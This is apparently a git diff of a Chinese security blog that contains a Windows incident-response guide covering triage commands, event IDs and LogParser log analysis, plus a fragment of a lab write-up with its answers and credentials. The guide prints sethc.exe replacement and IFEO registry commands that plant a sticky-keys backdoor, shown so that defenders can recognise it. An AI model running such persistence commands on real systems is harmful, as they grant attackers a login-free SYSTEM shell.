    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\ex170818.log WHERE cs-method='POST'"

    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\ex170818.log WHERE cs-uri-stem LIKE '%admin%'"

    LogParser Studio

    官网

    1. 打开需要分析的日志文件
    1. 选中需要分析的日志文件,接着新建一个查询
    1. 我们还是以刚才统计出访问次数最多的IP地址及次数为例子

    SELECT top 10 c-ip,count(c-ip) FROM '[LOGFILEPATH]' GROUP BY c-ip ORDER BY COUNT(c-iP) DESC

    1. 然后点击我们的执行按钮,即可输出结果

    这里注意LogParser StudioLogParser有几个区别:

    1. 输入文件类型:LogParser Studio已经预先选择输入文件类型,查询语句不需要再定义

    2. 输出文件类型:LogParser Studio默认使用窗口展示数据,如需指定其他输出文件类型或者导出文件,需要在语句中定义

    3. 也可将我们自定义的SQL语句,保存加入到库中,方便下次使用

    4. 也可点击相应的按钮将查询统计的数据导出。

    ]]>
    +

    总字符数: 28.89K

    代码: 6.84K, 文本: 5.58K

    预计阅读时间: 54 分钟

    当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失

    常见的应急响应事件分类:

    1. web入侵:网页挂马、主页篡改、Webshell

    2. 系统入侵:病毒木马、勒索软件、远控后门

    3. 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

    工具and日志

    0x01 入侵排查思路

    系统基本信息

    1. msinfo32查看Windows信息

      1. 硬件信息
      2. 运行任务
      3. 服务
      4. 系统驱动程序
      5. 加载的模块
      6. 启动程序

      image-20240710104907082

    2. systeminfo

      1. 主要用途简单了解信息

        image-20240710104935458

    3. 查找可疑目录及文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      # 检查方法:
      a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.
      # Window 2003:
      C:\Documents and Settings
      # Window 2008 R2:
      C:\Users\

      b. 单击【开始】>【运行】,输入%UserProfile%\Recent
      分析最近打开分析可疑文件.
      c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件.

    检查系统账号安全

    1. 查看服务器是否有弱口令,远程管理端口是否对公网开放.

      1
      2
      3
      # 检查方法:
      据实际情况咨询相关服务器管理员.
      netstat -ano
    2. 查看服务器是否存在可疑账号、新增账号.

      1
      2
      3
      4
      5
      # 检查方法:
      lusrmgr.msc 查看是否有新增/可疑的账号
      net localgroup administrators
      wmic UserAccount get
      在管理员群组的(Administrators)里如有新增账户,请立即禁用或删除掉.
    3. 查看服务器是否存在隐藏账号、克隆账号.

      1
      2
      3
      # 检查方法:
      a. 打开注册表,查看管理员对应键值.
      b. 使用D盾、HM查杀工具,集成了对克隆账号检测的功能.
    1. 结合日志,查看管理员登录时间、用户名是否存在异常.

      1
      2
      3
      4
      # 检查方法:
      a. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"
      b. 导出Windows日志--安全,利用LogParser进行分析
      LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS username FROM C:\Users\Administrator\Desktop\Security.evtx WHERE EventID = 4624"
    2. wmic命令

      1
      wmic useraccount get Name,SID

    检查异常端口、进程

    1. 检查端口连接情况,是否有远程连接、可疑连接.

      1
      2
      3
      4
      5
      6
      7
      # 检查方法:
      a. netstat-ano # 查看目前的网络连接,定位可疑的ESTABLISHED
      b. 根据netstat定位出的pid,再通过tasklist命令进行进程定位
      tasklist | findstr "PID"

      # 注册表查看RDP端口.
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    2. 进程

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      # 检查方法:
      a. 开始--运行--输入
      msinfo32
      依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.

      b. 打开D盾查杀工具,进程查看,关注没有签名信息的进程.
      c. 通过微软官方提供的ProcessExplorer等工具进行排查.

      d. 查看可疑的进程及其子进程.可以通过观察以下内容:
      1. 没有签名验证信息的进程
      2. 没有描述信息的进程
      3. 进程的属主
      4. 进程的路径是否合法
      5. CPU或内存资源占用长时间过高的进程
    3. 小技巧:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      a. 查看端口对应的PID: netstat -ano | findstr "port"
      b. 查看进程对应的PID: 任务管理器--查看--选择列--PID
      或者 tasklist | findstr "PID"
      c. 查看进程对应的程序位置:
      1. 任务管理器--选择对应进程--右键打开文件位置
      2. 运行输入wmic,cmd界面输入process
      d. tasklist /svc # 进程--PID--服务
      e. 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services
      # 一般 %system% 就是C:\Windows

    检查启动项、计划任务、服务

    什么是Windows启动项?

    • 开机的时候系统会在前台或者后台运行的程序

    什么是Windows启动项后门?

    Windows启动项后门也是攻击者常用的权限维持方式,大体上可以分为两种。

    • 一是重启电脑时自启动后门程序实现权限维持;
    • 二是点击某应用、服务、程序时自启动后门程序实现权限维持。

    什么是计划任务?

    • 一般是指在操作系统中设置定时任务
    • 计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。

    什么是计划任务后门?

    • 计划任务是经常被攻击者拿来利用的控制点,计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而帮助我们进行权限维持。

    什么是Windows服务?

    • Windows 会话中可运行的可执行应用程序
    • 在Windows系统中还有一个重要的机制,就是服务。通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。
    1. 检查服务器是否有异常的启动项

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      # 检查方法:
      a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,
      确认是否有非业务程序在该目录下.
      b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,
      是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.
      c. 单击【开始】>【运行】,输入regedit,打开注册表,
      查看开机启动项是否正常,特别注意如下三个注册表项:
      HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
      检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.

      # 注册表目录含义
      HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息
      HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置
      HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置
      HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置
      HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息

      # 注册表操作命令
      1. reg add添加注册表
      2. reg delete删除注册表
      3. reg query返回注册表的子项下的项和下一层项的列表

      d. 利用安全软件查看启动项、开机时间管理等.
      e. 组策略,运行gpedit.msc.
      f. msconfig 图形化查看启动项
    2. 检查计划任务

      1
      2
      3
      4
      5
      # 检查方法:
      a. 单击【开始】>【设置】>【控制面板】>【任务计划】
      查看计划任务属性,便可以发现木马文件的路径.
      b. schtasks
      d. powershell输入Get-ScheduledTask
    3. 服务自启动

      服务可以理解为运行在后台的进程,这些服务可以在计算机启动时自动启动,也可以暂停和重新启动,而且不显示任何用户界面

      服务作为一种运行在后台的进程,是恶意软件常用的贮存方法

      1
      2
      3
      # 检查方法:
      单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型
      检查是否有异常服务.

    检查shift粘贴键后门

    什么是shift粘贴键后门?

    • Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。 (辅助功能镜像劫持是一样的原理)

    辅助功能镜像劫持

    为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
    比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序
    还有:

    1
    2
    3
    4
    5
    屏幕键盘: C:\Windows\System32\osk.exe
    放大镜: C:\Windows\System32\Magnify.exe
    旁白: C:\Windows\System32\Narrator.exe
    显示切换器 C:\Windows\System32\DisplaySwitch.exe
    应用切换器: C:\Windows\System32\AtBroker.exe

    低版本

    在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe
    仅限windows 2003、xp系统

    1
    2
    copy c:\windows\system32\sethc.exe c:\windows\system32\sethc.exe.bak
    copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

    高版本

    我们需要用到IFEO,即映像劫持

    什么是IFEO

    所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。

    当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。

    命令行修改
    1
    2
    3
    # 需要管理员权限
    # 在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe,如图:
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

    进程分析

    Windows进程排查,主要是找到恶意进程的PID,程序路径有时还需要找到PPID(PID的父进程),及程序加载的DLL

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    1. 任务管理器
    2. tasklist命令
    1. tasklist /svc 查看进程服务
    2. tasklist /m 查看加载dll的恶意进程
    3. tasklist /m dll文件名 指定dll的调用情况
    4. tasklist过滤器 tasklist /fi 'pid eq 992' eq表示等于
    5. 可以先使用netstat -ano查看端口连接信息,然后使用tasklist | findstr进行排查
    3. powershell
    1. 用途在存在守护进程的进程,确认子父进程的关系
    2. Get-WmiObject Win32_Process | select Name,ProcessId,ParentProcessId,Path
    4. wmic命令
    1. 以csv格式列出所有信息 wmic process list full /format:csv
    2. 以csv格式显示进程的名称、父进程ID、进程ID wmic process get name,parentprocessid,processid /format:csv

    文件痕迹排查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    1. 敏感目录
    1. 各个盘符的tmp/temp相关目录 恶意程序投放的文件一般都会在路径相对统一的文件夹下,而临时目录相对统一
    2. 浏览器记录:人工入侵事件,入侵者会下载后续入侵的相关工具
    3. Recent文件 位置:Everything全盘搜索即可 Recent文件主要存储了最近运行文件的快捷方式,可通过分析最近运行的文件,排查可疑文件
    4. Prefetch预读取文件夹 位置:%SystemRoot%\Prefetch\ 用来存放系统已访问过的文件的预读取信息,扩展名位pf
    5. Amcache.hve文件可以查询应用程序的执行路径、上次执行的时间以及SHA1值
    2. 时间查找
    1. 简介:安全事件发生后,需要确认事件发生的时间点,然后排查时间点前后文件变动情况,缩小排查范围
    2. 列出攻击日期内新增的文件,从而发现相关的恶意软件
    1. forfiles命令查找对应条件的文件
    2. 使用everything对该时间段的文件进行排查
    3. 对文件的创建时间、修改时间、访问时间进行排查 查看文件属性,查看创建时间和修改时间是否存在逻辑上的问题,如果存在则该文件需要重点排查
    3. webshell使用D盾、HwsKill、WebShellKill等webshell扫描工具进行扫描

    0x02 Windows日志及工具

    Windows日志介绍

    依赖的服务:EventLog服务

    位置:

    Windows 2000 / Server2003 / Windows XP :%SystemRoot%\System32\Config\*.evtx

    Windows Vista / 7 / 10 / Server2008 及以上版本: %SystemRoot%\System32\Winevt\Logs\*.evtx

    Windows日志分类

    类型描述
    系统日志(System.evtx)系统日志包含由Windows系统组件记录的事件,记录系统进程和设备 驱动程序的活动。由它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址 以及服务启动、暂停和停止。
    应用程序日志(Application.evtx)记录程序在运行过程中的日志信息。
    安全日志(Security.evtx)安全日志记录各种系统审核和安全处理,包括用户权限的变化、文件 和目录的访问、打印以及用户系统登陆和注销,如有效或无效的登陆尝试、与资源使用有关的事 件。管理员有按需要指定安全日志中要记录的事件类型。

    系统日志

    简介:主要指Windows系统中的各个组件在运行中产生的各种事件

    1. 系统驱动在运行中出现的问题
    2. 操作系统的多种组件在运行中出现的各种问题
    3. 应用软件在运行中出现的重大问题

    问题包括:数据丢失、错误,以及系统崩溃行为

    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\SysEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\System.evt
    1
    2
    3
    4
    # 分析方法:
    a. 前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等.
    b. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器".
    C. 导出应用程序日志、安全日志、系统日志,利用LogParser进行分析.

    安全日志

    简介:记录系统各种安全事件

    1. 各种登录与退出系统的成功或不成功的信息
    2. 对系统中各种重要资源的操作,如对系统文件的创建、删除、修改等操作
    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\SecEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\Security.evt

    应用程序日志

    简介:各类应用程序产生的各类事件:登录、退出等日志

    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\AppEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\Application.evt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    还需要注意DHCP以及Bits-Client得相关日志
    事件ID
    1. 应急常见ID
    1. 4624 成功登录 安全日志
    2. 4625 登录失败 安全日志
    3. 4776 成功/失败的账户认证 安全日志
    4. 4720 创建用户 安全日志
    5. 4732 添加用户到启用安全性的本地组中 安全日志
    6. 4728 添加用户到启用安全性的全剧组中 安全日志
    7. 7030 服务创建错误 系统日志
    8. 7040 IPSEC服务的启动类型已从禁用更改为自动启动 系统日志
    9. 7045 服务创建 系统日志
    2. 登录相关日志
    1. 4624 用户登录成功
    2. 4625 用户登录失败 (解锁屏幕不会产生这个日志)
    3. 4672 特权用户登录 administrator登录4624和4672日志一起出现
    4. 4648 显示凭证登录
    3. 启动事件日志
    1. 1074 关机初始化失败 警告日志 User32
    2. 13 关机日志 信息日志 系统日志
    3. 12 启动日志 信息日志 系统日志
    在默认情况下, Windows日志仅仅记录一些特定日志,因为Windows日志中每种日志的大小默认为 20M,超过大小之后会覆盖最早的日志记录。如果我们需要记录详细的安全日志,则需要通过修改本地策略或者在高级审核策略配置中来启用其他项的日志记录功能。

    Windows事件ID

    审核策略更改

    此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核策略更改审核审核策略更改成功策略更改
    审核身份验证策略更改成功策略更改
    审核授权策略更改无审核策略更改
    审核筛选平台策略更改无审核策略更改
    审核 MPSSVC 规则级策略更改无审核策略更改
    审核其他策略更改事件无审核策略更改
    子类别默认状态事件ID事件说明
    审核审核策略更改成功4715对象的审核策略 (SACL) 已更改.
    成功4719系统审核策略已更改.
    成功4817对象的审核设置已更改.
    成功4902创建了每用户审核策略表.
    成功4904已尝试注册安全事件源.
    成功4905已尝试取消注册安全事件源.
    成功4906CrashOnAuditFail 值已更改.
    成功4907对象的审核设置已更改.
    成功4908特殊组登录表已修改.
    成功4912每用户审核策略已更改.
    审核身份验证策略更改成功4713Kerberos 策略已更改.
    成功4716可信域信息已修改.
    成功4717系统安全访问被授予一个帐户.
    成功4718系统安全访问权限已从帐户中删除
    成功4739域策略已更改.
    成功4864检测到命名空间冲突.
    成功4865添加了受信任的林信息条目.
    成功4866删除了受信任的林信息条目.
    成功4867受信任的林信息条目已修改.

    审核登录事件

    此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核登录事件审核账户锁定成功登录/注销
    审核 IPsec 扩展模式无审核登录/注销
    审核 IPsec 主模式无审核登录/注销
    审核 IPsec 快速模式无审核登录/注销
    审核注销成功登录/注销
    审核登录客户端:成功
    服务器:成功和失败
    登录/注销
    审核网络策略服务器成功和失败登录/注销
    审核其他登录/注销事件无审核登录/注销
    审核特别登录成功登录/注销
    子类别默认状态事件ID事件说明
    审核账户锁定成功4625帐户登录失败.
    审核注销成功4634帐户已注销.
    审核注销成功4647用户发起的注销.
    审核登录客户端PC: 成功
    服务器: 成功和失败
    4624帐户登录成功.
    4625帐户登录失败.
    4648尝试使用显式凭据登录.
    4675SID 被过滤.
    审核网络策略服务器成功和失败网络策略服务器授予用户访问权限.
    6273网络策略服务器拒绝访问用户.
    6274网络策略服务器放弃了对用户的请求.
    6275网络策略服务器丢弃了用户的计费请求.
    6276网络策略服务器隔离了一个用户.
    6277网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态.
    6278网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略.
    6279由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户.
    6280网络策略服务器解锁了用户帐户.
    审核特别登录成功4964已将特殊组分配给新登录
    登录类型描述说明
    2交互式登录(Interactive)用户在本地进行登录.
    3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时.
    4批处理(Batch)通常表明某计划任 务启动.
    5服务(Service)每种服务都被配置 在某个特定的用户 账号下运行.
    7解锁(Unlock)屏保解锁.
    8网络明文(NetworkCleartext)登录的密码在网络 上是通过明文传输 的,如FTP.
    9新凭证(NewCredentials)使用带/Netonly参数 的RUNAS命令运行一 个程序.
    10远程交互(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机.
    11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可用
    地位和子状态码描述
    0xc0000064用户名不存在
    0xc000006a用户名是正确的,但密码是错误的
    0xc0000234用户当前锁定
    0xc0000072帐户目前禁用
    0xc000006f用户试图登录天的外周或时间限制
    0xc0000070工作站的限制
    0xc0000193帐号过期
    0xc0000071过期的密码
    0xc0000133时钟之间的直流和其他电脑太不同步
    0xc0000224在下次登录用户需要更改密码
    0xc0000225显然一个缺陷在Windows和不是一个风险
    0xc000015b没有被授予该用户请求登录类型(又名登录 正确的)在这台机器
    0xc000006d似乎是由于系统问题和不安全

    审核账户管理

    此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括:

    • 创建、更改或删除用户帐户或组.
    • 重命名、禁用或启用用户帐户.
    • 设置或更改密码.
    类别子类别默认状态对应本地审核策略
    帐户管理审核应用组程序管理无审核审核账户管理
    审核计算机帐户管理无审核
    审核通讯组管理无审核
    审核其他账户管理事件无审核
    审核安全组管理成功
    审核用户账户管理成功
    子类别默认状态事件ID事件
    审核安全组管理成功4727已创建启用安全性的全局组.
    4728一个成员被添加到启用安全的全局组中.
    4729成员已从启用安全的全局组中删除.
    4730已删除启用安全的全局组.
    4731已创建启用安全性的本地组.
    4732一个成员被添加到启用安全的本地组.
    4733成员已从启用安全的本地组中删除.
    4734已删除启用安全的本地组.
    4735已更改启用安全的本地组.
    4737已更改启用安全的全局组.
    4754已创建启用安全的通用组.
    4755已更改启用安全的通用组.
    4756一个成员被添加到启用安全的通用组.
    4757成员已从启用安全的通用组中删除.
    4758已删除启用安全的通用组.
    4764组的类型已更改.
    审核用户账户管理成功4720已创建用户帐户.
    4722已启用用户帐户.
    4723试图更改帐户的密码.
    4724已尝试重置帐户密码.
    4725用户帐户被禁用.
    4726用户帐户被删除.
    4738用户帐户已更改.
    4740用户帐户被锁定.
    4765SID 历史记录已添加到帐户
    4766尝试向帐户添加 SID 历史记录失败.
    4767用户帐户已解锁.
    4780ACL 是在作为管理员组成员的帐户上设置的.
    4781帐户名称已更改:
    4794已尝试设置目录服务还原模式.
    5376凭据管理器凭据已备份.
    5377凭据管理器凭据是从备份中恢复的.
    远程登录事件

    当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。

    安全日志(Security.evtx)
    事件ID描述重点说明
    4624账户成功登录表明有账户成功通过RDP登录
    4648使用明文凭证尝试登录可能表明凭证被窃取或滥用
    4778重新连接到一台Windows主机的会话表明会话被重新连接
    4779断开到一台Windows主机的会话表明会话被断开
    远程连接日志

    应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational

    事件ID描述重点说明
    1149用户认证成功表明用户通过RDP认证成功
    21远程桌面服务:会话登录成功表明RDP会话登录成功
    24远程桌面服务:会话已断开连接表明RDP会话被断开
    25远程桌面服务:会话重新连接成功表明RDP会话被重新连接
    登录类型
    登录类型描述重点说明
    10RemoteInteractive专用于RDP登录
    12CachedRemoteInteractive表明使用了缓存的RDP登录信息

    Log Parser

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    # 图形化
    # 默认安装到C:\Program Files (x86)\Log Parser 2.2
    # 将日志拷贝出来在进行操作
    LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\Security.evtx"

    # 分析IIS日志
    LogParser.exe "select time, c-ip,cs-uri-stem,cs-uri-query, sc-status, time-taken from C:\Users\Administrator\Desktop\ex170818.log where cs-uri-query like '%and%' " -o:datagrid
    #常见字段有
    time: 请求的时间戳,通常以 YYYY-MM-DD HH:MM:SS 格式记录。
    c-ip: 客户端IP地址(Client IP)。
    cs-uri-stem: 请求的URI路径(即请求的资源)。
    sc-status: 服务器返回的状态码(如200表示成功,404表示未找到等)。
    time-taken: 请求处理所花费的时间(以毫秒为单位)。
    cs-method: 请求方法(如GET、POST)。
    cs-uri-query: 请求的查询字符串。
    cs(User-Agent): 客户端的用户代理字符串(即浏览器类型)。
    cs(Referer): 请求的来源页面。
    sc-bytes: 服务器发送的字节数。
    cs-bytes: 客户端发送的字节数。
    s-computername: 服务器计算机名称。
    s-ip: 服务器IP地址。
    s-port: 服务器端口号。

    # 使用SQL语句统计实现我们需要的数据。

    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT c-ip,COUNT(c-ip) FROM C:\Users\Administrator\Desktop\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"

    # 将结果数据导出到csv中

    LogParser.exe -i:IISW3C -o:csv "SELECT c-ip,COUNT(c-ip) into 1.csv FROM C:\Users\Administrator\Desktop\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"
    1
    2
    3
    4
    5
    # 在入侵事件中,我们经常会需要查找"post"请求,判断是否有上传木马文件等行为,或者访问页面中包含"user"、"manager"、"admin"等类似管理员的字段判断是否访问了后台管理页面。

    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\ex170818.log WHERE cs-method='POST'"

    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\ex170818.log WHERE cs-uri-stem LIKE '%admin%'"

    LogParser Studio

    官网

    1. 打开需要分析的日志文件
    1. 选中需要分析的日志文件,接着新建一个查询
    1. 我们还是以刚才统计出访问次数最多的IP地址及次数为例子

    SELECT top 10 c-ip,count(c-ip) FROM '[LOGFILEPATH]' GROUP BY c-ip ORDER BY COUNT(c-iP) DESC

    1. 然后点击我们的执行按钮,即可输出结果

    这里注意LogParser StudioLogParser有几个区别:

    1. 输入文件类型:LogParser Studio已经预先选择输入文件类型,查询语句不需要再定义

    2. 输出文件类型:LogParser Studio默认使用窗口展示数据,如需指定其他输出文件类型或者导出文件,需要在语句中定义

    3. 也可将我们自定义的SQL语句,保存加入到库中,方便下次使用

    4. 也可点击相应的按钮将查询统计的数据导出。

    ]]>
    diff --git a/comments/index.html b/comments/index.html index 317a8d9f8..816a962b0 100644 --- a/comments/index.html +++ b/comments/index.html @@ -65,7 +65,7 @@
    diff --git a/friends/index.html b/friends/index.html index 4464ef0d1..9905dbb36 100644 --- a/friends/index.html +++ b/friends/index.html @@ -67,7 +67,7 @@
    diff --git a/index.html b/index.html index 0bc887f7a..e5a9b36df 100644 --- a/index.html +++ b/index.html @@ -96,7 +96,7 @@
    -
    最近更新
    +
    最近更新
    @@ -164,7 +164,7 @@ 背景小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将...

    应急响应之Windows

    - 总字符数: 28.89K + 总字符数: 28.89K 代码: 6.84K, 文本: 5.58K @@ -175,7 +175,7 @@ -当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时...

    +当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,...

    应急响应-前菜

    diff --git a/page/10/index.html b/page/10/index.html index 0af7e7d99..fb9ef098a 100644 --- a/page/10/index.html +++ b/page/10/index.html @@ -96,7 +96,7 @@
    -
    最近更新
    +
    最近更新
    diff --git a/page/2/index.html b/page/2/index.html index caeb65615..fb272c685 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/3/index.html b/page/3/index.html index a7fe7c191..24bcc8f96 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/4/index.html b/page/4/index.html index c09dd949a..5f8b9966d 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/5/index.html b/page/5/index.html index 79727ca0a..9d9fd4773 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/6/index.html b/page/6/index.html index ee1b3a1df..9f09b064a 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/7/index.html b/page/7/index.html index ca713ed20..6ea720535 100644 --- a/page/7/index.html +++ b/page/7/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/8/index.html b/page/8/index.html index a10ee7c05..acb7227f5 100644 --- a/page/8/index.html +++ b/page/8/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/page/9/index.html b/page/9/index.html index 90e3e748d..0b38c1bae 100644 --- a/page/9/index.html +++ b/page/9/index.html @@ -96,7 +96,7 @@ -
    最近更新
    +
    最近更新
    diff --git a/search.json b/search.json index 2750f91a8..bef2c281b 100644 --- a/search.json +++ b/search.json @@ -1 +1 @@ -[{"title":"应急响应靶机训练-Web1","path":"/2024/07/07/69563a36/","content":"总字符数: 23.16K 代码: 7.40K, 文本: 3.64K 预计阅读时间: 48 分钟 背景小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容: 攻击者的shell密码:rebeyond 攻击者的IP地址:192.168.126.1 攻击者的隐藏账户名称: hack168$ 攻击者挖矿程序的矿池域名(仅域名):http://wakuang.zhigongshanfang.top 修复漏洞 靶机环境使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上 靶机环境: Windows Server 2022 phpstudy(小皮面板) 相关账户密码: 用户:administrator 密码:Zgsf@admin.com 信息收集查看端口12345678910111213141516171819202122232425262728293031# 查看运行了哪些服务,有无外联端口netstat-ano# TCP 连接# 监听端口 (LISTENING)135端口:通常用于 Windows RPC(远程过程调用)服务,PID 为 884.445端口:用于 SMB(Server Message Block)协议,通常用于文件和打印机共享,PID 为 4.3389端口:用于 RDP(远程桌面协议),PID 为 1012.5357端口:通常用于 Web Services for Devices (WSDAPI),PID 为 4.5985端口:用于 WinRM (Windows Remote Management) over HTTP,PID 为 4.47001端口:通常用于 Windows 的自动发现服务,PID 为 4.49664-49671端口:这些是动态或私有端口,用于各种系统服务,PID 分别为 672, 512, 1132, 1656, 2084, 2428, 648, 2308.# 已建立连接 (ESTABLISHED)49809和49810端口:与 124.152.197.78 的 80 端口建立连接,PID 为 7512.49850和49851端口:与 40.126.35.80 和 119.167.147.35 的 443 端口建立连接,PID 为 3652.等待关闭连接 (TIME_WAIT)49802, 49808, 49849, 49853, 49855, 49856, 49858, 49859端口:这些连接正在等待关闭,PID 为 0.# UDP 连接# 监听端口123端口:用于 NTP(网络时间协议),PID 为 2860.500端口:用于 IPSec 的 ISAKMP(Internet Security Association and Key Management Protocol),PID 为 2300.3389端口:用于 RDP 的 UDP 通信,PID 为 